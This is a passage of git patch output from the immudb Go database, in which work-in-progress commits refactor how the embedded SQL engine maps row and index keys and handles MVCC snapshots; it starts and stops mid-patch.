bulkSize++ diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 4bc98120e7..e11808958f 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -202,6 +202,7 @@ type ValueRef interface { KVMetadata() *KVMetadata HVal() [sha256.Size]byte Len() uint32 + VOff() int64 } type valueRef struct { @@ -345,6 +346,10 @@ func (v *valueRef) Len() uint32 { return v.valLen } +func (v *valueRef) VOff() int64 { + return v.vOff +} + type storeKeyReader struct { snap *Snapshot reader *tbtree.Reader diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 2cf888c8f9..5f0160ebb0 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -162,6 +162,10 @@ func (oref *ongoingValRef) Len() uint32 { return uint32(len(oref.value)) } +func (oref *ongoingValRef) VOff() int64 { + return 0 +} + func (tx *OngoingTx) IsWriteOnly() bool { return tx.mode == WriteOnlyTx } From a669aee6fce60cc978ed66825d6aeac23eb66194 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 30 Aug 2023 18:18:31 -0300 Subject: [PATCH 0741/1062] wip(embedded/sql): full index deletion of tables Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 106 ++++++++++------------------------- embedded/sql/engine.go | 93 +++++++++++++++++++++--------- embedded/sql/row_reader.go | 41 +++----------- embedded/sql/stmt.go | 52 ++++++++++------- embedded/store/immustore.go | 7 ++- embedded/store/indexer.go | 88 +++++++++++++++++------------ embedded/store/ongoing_tx.go | 14 ++--- 7 files changed, 199 insertions(+), 202 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index fbe96014ab..436ec33992 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -31,7 +31,7 @@ import ( // Catalog represents a database catalog containing metadata for all tables in the database. type Catalog struct { - prefix []byte + enginePrefix []byte tables []*Table tablesByID map[uint32]*Table @@ -73,9 +73,9 @@ type Column struct { notNull bool } -func newCatalog(prefix []byte) *Catalog { +func newCatalog(enginePrefix []byte) *Catalog { return &Catalog{ - prefix: prefix, + enginePrefix: enginePrefix, tables: make([]*Table, 0), tablesByID: make(map[uint32]*Table), tablesByName: make(map[string]*Table), @@ -183,8 +183,8 @@ func (i *Index) IncludesCol(colID uint32) bool { return ok } -func (i *Index) catalogPrefix() []byte { - return i.table.catalog.prefix +func (i *Index) enginePrefix() []byte { + return i.table.catalog.enginePrefix } func (i *Index) sortableUsing(colID uint32, rangesByColID map[uint32]*typedValueRange) bool { @@ -204,14 +204,6 @@ func (i *Index) sortableUsing(colID uint32, rangesByColID map[uint32]*typedValue return false } -func (i *Index) prefix() string { - if i.IsPrimary() { - return PIndexPrefix - } - - return SIndexPrefix -} - func (i *Index) Name() string { return indexName(i.table.name, i.cols) } @@ -493,7 +485,7 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { func (catlg *Catalog) load(tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: MapKey(catlg.prefix, catalogTablePrefix, EncodeID(1)), + Prefix: MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1)), Filters: []store.FilterFn{store.IgnoreExpired}, } @@ -512,7 +504,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { return err } - dbID, tableID, err := unmapTableID(catlg.prefix, mkey) + dbID, tableID, err := unmapTableID(catlg.enginePrefix, mkey) if err != nil { return err } @@ -531,7 +523,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { continue } - colSpecs, err := loadColSpecs(dbID, tableID, tx, catlg.prefix) + colSpecs, err := loadColSpecs(dbID, tableID, tx, catlg.enginePrefix) if err != nil { return err } @@ -550,33 +542,10 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { return ErrCorruptedData } - err = table.loadIndexes(catlg.prefix, tx) + err = table.loadIndexes(catlg.enginePrefix, tx) if err != nil { return err } - - if table.autoIncrementPK { - encMaxPK, err := loadMaxPK(catlg.prefix, tx, table) - if errors.Is(err, store.ErrNoMoreEntries) { - continue - } - if err != nil { - return err - } - - if len(encMaxPK) != 9 { - return ErrCorruptedData - } - - if encMaxPK[0] != KeyValPrefixNotNull { - return ErrCorruptedData - } - - // map to signed integer space - encMaxPK[1] ^= 0x80 - - table.maxPK = int64(binary.BigEndian.Uint64(encMaxPK[1:])) - } } return nil @@ -584,7 +553,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ - Prefix: MapKey(sqlPrefix, PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(PKIndexID)), + Prefix: MapKey(sqlPrefix, mappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)), DescOrder: true, } @@ -825,62 +794,47 @@ func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, er return nil, ErrIllegalArguments } - enc, err := trimPrefix(sqlPrefix, mkey, []byte(index.prefix())) + enc, err := trimPrefix(sqlPrefix, mkey, []byte(mappedPrefix)) if err != nil { return nil, ErrCorruptedData } - if index.IsPrimary() && len(enc) <= EncIDLen*3 { - return nil, ErrCorruptedData - } - - if !index.IsPrimary() && len(enc) <= EncIDLen*2 { + if len(enc) <= EncIDLen*2 { return nil, ErrCorruptedData } off := 0 - var dbID uint32 - - if index.IsPrimary() { - dbID = binary.BigEndian.Uint32(enc[off:]) - off += EncIDLen - } else { - dbID = 1 - } - tableID := binary.BigEndian.Uint32(enc[off:]) off += EncIDLen indexID := binary.BigEndian.Uint32(enc[off:]) off += EncIDLen - if dbID != 1 || tableID != index.table.id || indexID != index.id { + if tableID != index.table.id || indexID != index.id { return nil, ErrCorruptedData } - if !index.IsPrimary() { - //read index values - for _, col := range index.cols { - if enc[off] == KeyValPrefixNull { - off += 1 - continue - } - if enc[off] != KeyValPrefixNotNull { - return nil, ErrCorruptedData - } + //read index values + for _, col := range index.cols { + if enc[off] == KeyValPrefixNull { off += 1 + continue + } + if enc[off] != KeyValPrefixNotNull { + return nil, ErrCorruptedData + } + off += 1 - maxLen := col.MaxLen() - if variableSizedType(col.colType) { - maxLen += EncLenLen - } - if len(enc)-off < maxLen { - return nil, ErrCorruptedData - } - - off += maxLen + maxLen := col.MaxLen() + if variableSizedType(col.colType) { + maxLen += EncLenLen + } + if len(enc)-off < maxLen { + return nil, ErrCorruptedData } + + off += maxLen } //PK cannot be nil diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 23084077a1..0dd2b4b141 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -132,13 +132,12 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { copy(e.prefix, opts.prefix) - for _, prefix := range []string{catalogPrefix, PIndexPrefix} { - err = st.InitIndexing(&store.IndexSpec{ - TargetPrefix: append(e.prefix, []byte(prefix)...), - }) - if err != nil { - return nil, err - } + err = st.InitIndexing(&store.IndexSpec{ + SourcePrefix: append(e.prefix, []byte(catalogPrefix)...), + TargetPrefix: append(e.prefix, []byte(catalogPrefix)...), + }) + if err != nil { + return nil, err } // TODO: find a better way to handle parsing errors @@ -182,31 +181,49 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { for _, table := range catalog.GetTables() { primaryIndex := table.primaryIndex - pkEntryPrefix := MapKey( + rowEntryPrefix := MapKey( e.prefix, - primaryIndex.prefix(), + rowPrefix, EncodeID(1), EncodeID(table.id), + EncodeID(0), + ) + + mappedPKEntryPrefix := MapKey( + e.prefix, + mappedPrefix, + EncodeID(table.id), EncodeID(primaryIndex.id), ) + err = e.store.InitIndexing(&store.IndexSpec{ + SourcePrefix: rowEntryPrefix, + + TargetEntryMapper: indexEntryMapperFor(primaryIndex), + TargetPrefix: mappedPKEntryPrefix, + }) + if err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) { + return nil, err + } + for _, index := range table.indexes { if index.IsPrimary() { continue } - secondaryEntryPrefix := MapKey( + mappedEntryPrefix := MapKey( e.prefix, - index.prefix(), + mappedPrefix, EncodeID(table.id), EncodeID(index.id), ) err = e.store.InitIndexing(&store.IndexSpec{ - SourcePrefix: pkEntryPrefix, - EntryMapper: secondaryIndexEntryMapperFor(index), + SourcePrefix: rowEntryPrefix, + SourceEntryMapper: indexEntryMapperFor(primaryIndex), - TargetPrefix: secondaryEntryPrefix, + TargetEntryMapper: indexEntryMapperFor(index), + TargetPrefix: mappedEntryPrefix, }) if errors.Is(err, store.ErrIndexAlreadyInitialized) { continue @@ -215,6 +232,29 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } } + + if table.autoIncrementPK { + encMaxPK, err := loadMaxPK(e.prefix, tx, table) + if errors.Is(err, store.ErrNoMoreEntries) { + continue + } + if err != nil { + return nil, err + } + + if len(encMaxPK) != 9 { + return nil, ErrCorruptedData + } + + if encMaxPK[0] != KeyValPrefixNotNull { + return nil, ErrCorruptedData + } + + // map to signed integer space + encMaxPK[1] ^= 0x80 + + table.maxPK = int64(binary.BigEndian.Uint64(encMaxPK[1:])) + } } return &SQLTx{ @@ -227,14 +267,9 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { }, nil } -func secondaryIndexEntryMapperFor(index *Index) store.EntryMapper { +func indexEntryMapperFor(index *Index) store.EntryMapper { // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) - // key=S{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+ - - encodedValues := make([][]byte, 2+len(index.cols)+1) - encodedValues[0] = EncodeID(index.table.id) - encodedValues[1] = EncodeID(index.id) - + // key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+ values := make(map[uint32]TypedValue, len(index.cols)) for _, col := range index.cols { @@ -256,7 +291,9 @@ func secondaryIndexEntryMapperFor(index *Index) store.EntryMapper { voff += EncIDLen col, err := index.table.GetColumnByID(colID) - if err != nil { + if errors.Is(err, ErrColumnDoesNotExist) { + continue + } else if err != nil { return err } @@ -277,14 +314,18 @@ func secondaryIndexEntryMapperFor(index *Index) store.EntryMapper { return nil } + encodedValues := make([][]byte, 2+len(index.cols)+1) + encodedValues[0] = EncodeID(index.table.id) + encodedValues[1] = EncodeID(index.id) + return func(key, value []byte) ([]byte, error) { - catalogPrefix := index.catalogPrefix() + enginePrefix := index.enginePrefix() - if len(key) < len(catalogPrefix)+len(PIndexPrefix)+3*EncIDLen { + if len(key) < len(enginePrefix)+EncIDLen+len(rowPrefix)+2*EncIDLen { return nil, fmt.Errorf("key is lower than required") } - pkEncVals := key[len(catalogPrefix)+len(PIndexPrefix)+3*EncIDLen:] // remove R.{1}{tableID}{0} from the key + pkEncVals := key[len(enginePrefix)+EncIDLen+len(rowPrefix)+2*EncIDLen:] // remove R.{1}{tableID}{0} from the key encodedValues[len(encodedValues)-1] = pkEncVals err := valueExtractor(value) @@ -301,7 +342,7 @@ func secondaryIndexEntryMapperFor(index *Index) store.EntryMapper { encodedValues[2+i] = encKey } - return MapKey(index.catalogPrefix(), SIndexPrefix, encodedValues...), nil + return MapKey(index.enginePrefix(), mappedPrefix, encodedValues...), nil } } diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 4463ca0a08..e26cea29fb 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -191,14 +191,7 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per } func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (spec *store.KeyReaderSpec, err error) { - var prefix []byte - - if scanSpecs.Index.IsPrimary() { - // TODO: EncodeID(1) is currently kept to provide backwards data compatibility - prefix = MapKey(sqlPrefix, scanSpecs.Index.prefix(), EncodeID(1), EncodeID(table.id), EncodeID(scanSpecs.Index.id)) - } else { - prefix = MapKey(sqlPrefix, scanSpecs.Index.prefix(), EncodeID(table.id), EncodeID(scanSpecs.Index.id)) - } + prefix := MapKey(sqlPrefix, mappedPrefix, EncodeID(table.id), EncodeID(scanSpecs.Index.id)) var loKey []byte var loKeyReady bool @@ -378,7 +371,7 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { return nil, err } - var mkey []byte + //var mkey []byte var vref store.ValueRef // evaluation of txRange is postponed to allow parameters to be provided after rowReader initialization @@ -388,37 +381,17 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { } if r.txRange == nil { - mkey, vref, err = r.reader.Read() + _, vref, err = r.reader.Read() //mkey } else { - mkey, vref, err = r.reader.ReadBetween(r.txRange.initialTxID, r.txRange.finalTxID) + _, vref, err = r.reader.ReadBetween(r.txRange.initialTxID, r.txRange.finalTxID) //mkey } if err != nil { return nil, err } - var v []byte - - //decompose key, determine if it's pk, when it's pk, the value holds the actual row data - if r.scanSpecs.Index.IsPrimary() { - v, err = vref.Resolve() - if err != nil { - return nil, err - } - } else { - encPKVals, err := unmapIndexEntry(r.scanSpecs.Index, r.tx.engine.prefix, mkey) - if err != nil { - return nil, err - } - - vref, err = r.tx.get(MapKey(r.tx.engine.prefix, PIndexPrefix, EncodeID(1), EncodeID(r.table.id), EncodeID(PKIndexID), encPKVals)) - if err != nil { - return nil, err - } - - v, err = vref.Resolve() - if err != nil { - return nil, err - } + v, err := vref.Resolve() + if err != nil { + return nil, err } valuesByPosition := make([]TypedValue, len(r.table.Cols())) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index cf84c916c9..d66fb316da 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -36,9 +36,9 @@ const ( catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) - PIndexPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) + rowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) - SIndexPrefix = "S" // (key=S{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+, value={}) + mappedPrefix = "M." // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+}) ) const PKIndexID = uint32(0) @@ -657,10 +657,10 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return nil, err } - // primary index entry - mkey := MapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + // pk entry + mappedPKey := MapKey(tx.sqlPrefix(), mappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) - _, err = tx.get(mkey) + _, err = tx.get(mappedPKey) if err != nil && err != store.ErrKeyNotFound { return nil, err } @@ -689,10 +689,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return tx, nil } -func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { - // primary index entry - mkey := MapKey(tx.sqlPrefix(), table.primaryIndex.prefix(), EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) - +func (tx *SQLTx) encodeRowValue(valuesByColID map[uint32]TypedValue, table *Table) ([]byte, error) { valbuf := bytes.Buffer{} // null values are not serialized @@ -708,7 +705,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m _, err := valbuf.Write(b) if err != nil { - return err + return nil, err } for _, col := range table.cols { @@ -722,21 +719,32 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m _, err = valbuf.Write(b) if err != nil { - return fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) + return nil, fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } encVal, err := EncodeValue(rval, col.colType, col.MaxLen()) if err != nil { - return fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) + return nil, fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } _, err = valbuf.Write(encVal) if err != nil { - return fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) + return nil, fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } } - err = tx.set(mkey, nil, valbuf.Bytes()) + return valbuf.Bytes(), nil +} + +func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { + rowKey := MapKey(tx.sqlPrefix(), rowPrefix, EncodeID(1), EncodeID(table.id), EncodeID(0), pkEncVals) + + encodedRowValue, err := tx.encodeRowValue(valuesByColID, table) + if err != nil { + return err + } + + err = tx.set(rowKey, nil, encodedRowValue) if err != nil { return err } @@ -777,7 +785,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return fmt.Errorf("%w: can not index entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) } - smkey := MapKey(tx.sqlPrefix(), index.prefix(), encodedValues...) + smkey := MapKey(tx.sqlPrefix(), mappedPrefix, encodedValues...) // no other equivalent entry should be already indexed _, valRef, err := tx.getWithPrefix(smkey, nil) @@ -1004,7 +1012,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string } // primary index entry - mkey := MapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := MapKey(tx.sqlPrefix(), mappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) // mkey must exist _, err = tx.get(mkey) @@ -1099,13 +1107,17 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st } func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { + encodedRowValue, err := tx.encodeRowValue(valuesByColID, table) + if err != nil { + return err + } + for _, index := range table.indexes { if !index.IsPrimary() { continue } encodedValues := make([][]byte, 3+len(index.cols)) - encodedValues[0] = EncodeID(1) encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) @@ -1125,7 +1137,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T md.AsDeleted(true) - err := tx.set(MapKey(tx.sqlPrefix(), index.prefix(), encodedValues...), md, nil) + err := tx.set(MapKey(tx.sqlPrefix(), rowPrefix, encodedValues...), md, encodedRowValue) if err != nil { return err } @@ -3995,7 +4007,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str indexKey := MapKey( tx.sqlPrefix(), - index.prefix(), + mappedPrefix, EncodeID(table.id), EncodeID(index.id), ) @@ -4077,7 +4089,7 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str indexKey := MapKey( tx.sqlPrefix(), - index.prefix(), + mappedPrefix, EncodeID(table.id), EncodeID(index.id), ) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 42a0d4634b..b23ba94908 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -837,10 +837,11 @@ func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { } type IndexSpec struct { - SourcePrefix []byte - EntryMapper EntryMapper + SourcePrefix []byte + SourceEntryMapper EntryMapper - TargetPrefix []byte + TargetEntryMapper EntryMapper + TargetPrefix []byte InitialTxID uint64 FinalTxID uint64 diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index ff72e7a2c6..42b02e2090 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "bytes" "context" "crypto/sha256" "encoding/binary" @@ -470,6 +471,19 @@ func serializeIndexableEntry(b []byte, txmd []byte, e *TxEntry, kvmd []byte) int return n } +func (idx *indexer) mapKey(key []byte, vLen int, vOff int64, hVal [sha256.Size]byte, mapper EntryMapper) (mappedKey []byte, err error) { + if mapper == nil { + return key, nil + } + + _, err = idx.store.readValueAt(idx._val[:vLen], vOff, hVal, false) + if err != nil { + return nil, err + } + + return mapper(key, idx._val[:vLen]) +} + func (idx *indexer) indexSince(txID uint64) error { ctx, cancel := context.WithTimeout(context.Background(), idx.bulkPreparationTimeout) defer cancel() @@ -500,49 +514,43 @@ func (idx *indexer) indexSince(txID uint64) error { continue } - if e.Metadata() == nil || !e.Metadata().Deleted() { - var mappedKey []byte - - if idx.spec.EntryMapper == nil { - mappedKey = e.key() - } else { - _, err := idx.store.readValueAt(idx._val[:e.vLen], e.vOff, e.hVal, false) - if err != nil { - return err - } + sourceKey, err := idx.mapKey(e.key(), e.vLen, e.vOff, e.hVal, idx.spec.SourceEntryMapper) + if err != nil { + return err + } - mappedKey, err = idx.spec.EntryMapper(e.key(), idx._val[:e.vLen]) - if err != nil { - return err - } - } + targetKey, err := idx.mapKey(sourceKey, e.vLen, e.vOff, e.hVal, idx.spec.TargetEntryMapper) + if err != nil { + return err + } - if !hasPrefix(mappedKey, idx.spec.TargetPrefix) { - continue - } + if !hasPrefix(targetKey, idx.spec.TargetPrefix) { + return fmt.Errorf("%w: the target entry mapper has not generated a key with the specified target prefix", ErrIllegalArguments) + } - // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmds - var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte + // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmds + var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte - var kvmd []byte + var kvmd []byte - if e.Metadata() != nil { - kvmd = e.Metadata().Bytes() - } + if e.Metadata() != nil { + kvmd = e.Metadata().Bytes() + } - n := serializeIndexableEntry(b[:], txmd, e, kvmd) + n := serializeIndexableEntry(b[:], txmd, e, kvmd) - idx._kvs[indexableEntries].K = mappedKey - idx._kvs[indexableEntries].V = b[:n] - idx._kvs[indexableEntries].T = txID + uint64(i) + idx._kvs[indexableEntries].K = targetKey + idx._kvs[indexableEntries].V = b[:n] + idx._kvs[indexableEntries].T = txID + uint64(i) - indexableEntries++ - } + indexableEntries++ - if idx.spec.EntryMapper != nil && txID > 1 { + if txID > 1 { // wait for source indexer to be up to date - sourceIndexer, err := idx.store.getIndexerFor(e.key()) - if err != nil { + sourceIndexer, err := idx.store.getIndexerFor(sourceKey) + if errors.Is(err, ErrIndexNotFound) { + continue + } else if err != nil { return err } @@ -552,7 +560,7 @@ func (idx *indexer) indexSince(txID uint64) error { } // the previous entry as of txID must be deleted from the target index - prevTxID, _, err := sourceIndexer.index.GetBetween(e.key(), 1, txID-1) + prevTxID, _, err := sourceIndexer.index.GetBetween(sourceKey, 1, txID-1) if err == nil { prevEntry, prevTxHdr, err := idx.store.ReadTxEntry(prevTxID, e.key(), false) if err != nil { @@ -564,11 +572,19 @@ func (idx *indexer) indexSince(txID uint64) error { return err } - mappedPrevKey, err := idx.spec.EntryMapper(e.key(), idx._val[:prevEntry.vLen]) + targetPrevKey, err := idx.mapKey(sourceKey, prevEntry.vLen, prevEntry.vOff, prevEntry.hVal, idx.spec.TargetEntryMapper) if err != nil { return err } + if bytes.Equal(sourceKey, targetPrevKey) { + continue + } + + if !hasPrefix(targetPrevKey, idx.spec.TargetPrefix) { + return fmt.Errorf("%w: the target entry mapper has not generated a key with the specified target prefix", ErrIllegalArguments) + } + var txmd []byte if prevTxHdr.Metadata != nil { @@ -592,7 +608,7 @@ func (idx *indexer) indexSince(txID uint64) error { n := serializeIndexableEntry(b[:], txmd, prevEntry, kvmd.Bytes()) - idx._kvs[indexableEntries].K = mappedPrevKey + idx._kvs[indexableEntries].K = targetPrevKey idx._kvs[indexableEntries].V = b[:n] idx._kvs[indexableEntries].T = txID + uint64(i) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 5f0160ebb0..38c6d7f01d 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -263,17 +263,17 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh } // updates are not needed because valueRef are resolved with the "interceptor" - if !tx.IsWriteOnly() && !isKeyUpdate { + if !tx.IsWriteOnly() && !isKeyUpdate && (md == nil || !md.NonIndexable()) { // vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0 var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte snap, err := tx.snap(key) - if err != nil { - return err - } - - err = snap.set(key, indexedValue[:]) - if err != nil { + if err == nil { + err = snap.set(key, indexedValue[:]) + if err != nil { + return err + } + } else if !errors.Is(err, ErrIndexNotFound) { return err } } From 8c1c95c9dc9403f622d6c94945654bd0cd02e810 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 30 Aug 2023 22:16:06 -0300 Subject: [PATCH 0742/1062] wip(embedded/sql): multi-snapshot mvcc Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 2 +- embedded/sql/engine_test.go | 6 +- embedded/sql/stmt.go | 120 ++++++++++++++++++++++++++++++++--- embedded/store/ongoing_tx.go | 2 - 4 files changed, 115 insertions(+), 15 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 0dd2b4b141..72a435feaf 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -136,7 +136,7 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { SourcePrefix: append(e.prefix, []byte(catalogPrefix)...), TargetPrefix: append(e.prefix, []byte(catalogPrefix)...), }) - if err != nil { + if err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) { return nil, err } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 41ef35268b..e8adbd07af 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -4819,14 +4819,13 @@ func TestUnmapIndexEntry(t *testing.T) { require.Nil(t, encPKVals) encPKVals, err = unmapIndexEntry(&Index{id: PKIndexID, unique: true}, e.prefix, []byte( - "e-prefix.R.\x80a", + "e-prefix.M.\x80a", )) require.ErrorIs(t, err, ErrCorruptedData) require.Nil(t, encPKVals) fullValue := append( - []byte("e-prefix.E."), - 0x00, 0x00, 0x00, 0x01, + []byte("e-prefix.M."), 0x11, 0x12, 0x13, 0x14, 0x00, 0x00, 0x00, 0x02, 0x80, @@ -4920,6 +4919,7 @@ func TestIndexingNullableColumns(t *testing.T) { require.NoError(t, err) return ret } + query := func(t *testing.T, stmt string, expectedRows ...*Row) { reader, err := engine.Query(context.Background(), nil, stmt, nil) require.NoError(t, err) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index d66fb316da..e1331021ce 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -680,7 +680,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st } } - err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table) + err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, !stmt.isInsert) if err != nil { return nil, err } @@ -736,7 +736,28 @@ func (tx *SQLTx) encodeRowValue(valuesByColID map[uint32]TypedValue, table *Tabl return valbuf.Bytes(), nil } -func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { +func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error { + var reusableIndexEntries map[uint32]struct{} + + if reuseIndex && len(table.indexes) > 1 { + currPKRow, err := tx.fetchPKRow(ctx, table, valuesByColID) + if err == nil { + currValuesByColID := make(map[uint32]TypedValue, len(currPKRow.ValuesBySelector)) + + for _, col := range table.cols { + encSel := EncodeSelector("", table.name, col.colName) + currValuesByColID[col.id] = currPKRow.ValuesBySelector[encSel] + } + + reusableIndexEntries, err = tx.deprecateIndexEntries(pkEncVals, currValuesByColID, valuesByColID, table) + if err != nil { + return err + } + } else if !errors.Is(err, ErrNoMoreRows) { + return err + } + } + rowKey := MapKey(tx.sqlPrefix(), rowPrefix, EncodeID(1), EncodeID(table.id), EncodeID(0), pkEncVals) encodedRowValue, err := tx.encodeRowValue(valuesByColID, table) @@ -749,12 +770,19 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return err } - // validate entries for secondary indexes + // create in-memory and validate entries for secondary indexes for _, index := range table.indexes { - if index.IsPrimary() || !index.IsUnique() { + if index.IsPrimary() { continue } + if reusableIndexEntries != nil { + _, reusable := reusableIndexEntries[index.id] + if reusable { + continue + } + } + encodedValues := make([][]byte, 2+len(index.cols)) encodedValues[0] = EncodeID(table.id) encodedValues[1] = EncodeID(index.id) @@ -788,11 +816,18 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m smkey := MapKey(tx.sqlPrefix(), mappedPrefix, encodedValues...) // no other equivalent entry should be already indexed - _, valRef, err := tx.getWithPrefix(smkey, nil) - if err == nil && (valRef.KVMetadata() == nil || !valRef.KVMetadata().Deleted()) { - return 